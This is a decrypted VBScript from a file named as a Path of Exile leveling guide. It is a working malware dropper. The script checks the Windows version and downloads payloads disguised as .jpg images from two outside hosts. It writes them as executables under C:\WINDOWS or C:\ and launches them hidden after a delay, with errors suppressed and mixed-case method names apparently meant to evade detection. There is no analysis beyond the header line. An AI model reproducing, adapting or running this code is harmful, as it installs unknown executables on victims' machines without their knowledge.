A decrypted vbs file from poe-1-100級快速攻略.vbe

poe-1-100級快速攻略.vbs

set fso=createobject("scripting.filesystemobject")
getpath=split("c:\programdata\","\")
for i= 1 to ubound(getpath)
	path=path & str &getpath(i)
	if not fso.folderexists(getpath(0)& str &path)then
		fso.createfolder(getpath(0)& str &path)
	end if
next
On Error Resume Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem",,48)
For Each objItem in colItems
	strVer = objItem.Caption
Next
If InStr(1, strVer, "XP") <> 0 Then 
	on error resume next
	Set shell=CreateObject("Wscript.ShElL") 
	Set ajax = CreateObject("MsxMl2.xMlHTtp")
	Set stream=CreateObject("ADODB.Stream")
	
	ajax.Open "GET","http://www.fz128.usa.cc/images.jpg",0
	ajax.Send()
	stream.Mode=3
	stream.Type=1
	stream.Open()
	stream.Write(ajax.responseBody)
	SM32="C:\WINDOWS\web\wisdswa.exe"
	stream.sAVetOFiLe SM32

	mhg="cmd /c set &&ping -n 10 127.0.0.1 &&start "+SM32
	shell.run (mhg),0
	on error resume next
	Set shell=CreateObject("Wscript.ShElL") 
	Set ajax = CreateObject("MsxMl2.xMlHTtp")
	Set stream=CreateObject("ADODB.Stream")
	
	ajax.Open "GET","http://www.shesnail.com/data/page/pa02/bmp.jpg",0
	ajax.Send()
	stream.Mode=3
	stream.Type=1
	stream.Open()
	stream.Write(ajax.responseBody)
	SM32="C:\WINDOWS\web\wgfdgdd.exe"
	stream.sAVetOFiLe SM32

	mhg="cmd /c set &&ping -n 10 127.0.0.1 &&start "+SM32
	shell.run (mhg),0
else
	on error resume next
	Set shell=CreateObject("Wscript.ShElL") 
	Set ajax = CreateObject("MsxMl2.xMlHTtp")
	Set stream=CreateObject("ADODB.Stream")
	
	ajax.Open "GET","http://www.fz128.usa.cc/images.jpg",0
	ajax.Send()
	stream.Mode=3
	stream.Type=1
	stream.Open()
	stream.Write(ajax.responseBody)
	SM32="C:\1.gif"
	stream.sAVetOFiLe SM32

	mhg="cmd /c set &&ping -n 10 127.0.0.1 &&start "+SM32
	shell.run (mhg),0
	on error resume next
	Set shell=CreateObject("Wscript.ShElL") 
	Set ajax = CreateObject("MsxMl2.xMlHTtp")
	Set stream=CreateObject("ADODB.Stream")
	
	ajax.Open "GET","http://www.shesnail.com/data/page/pa02/bmp.jpg",0
	ajax.Send()
	stream.Mode=3
	stream.Type=1
	stream.Open()
	stream.Write(ajax.responseBody)
	SM32="C:\WINDOWS\wifecdr.exe"
	stream.sAVetOFiLe SM32

	mhg="cmd /c set &&ping -n 10 127.0.0.1 &&start "+SM32
	shell.run (mhg),0
End If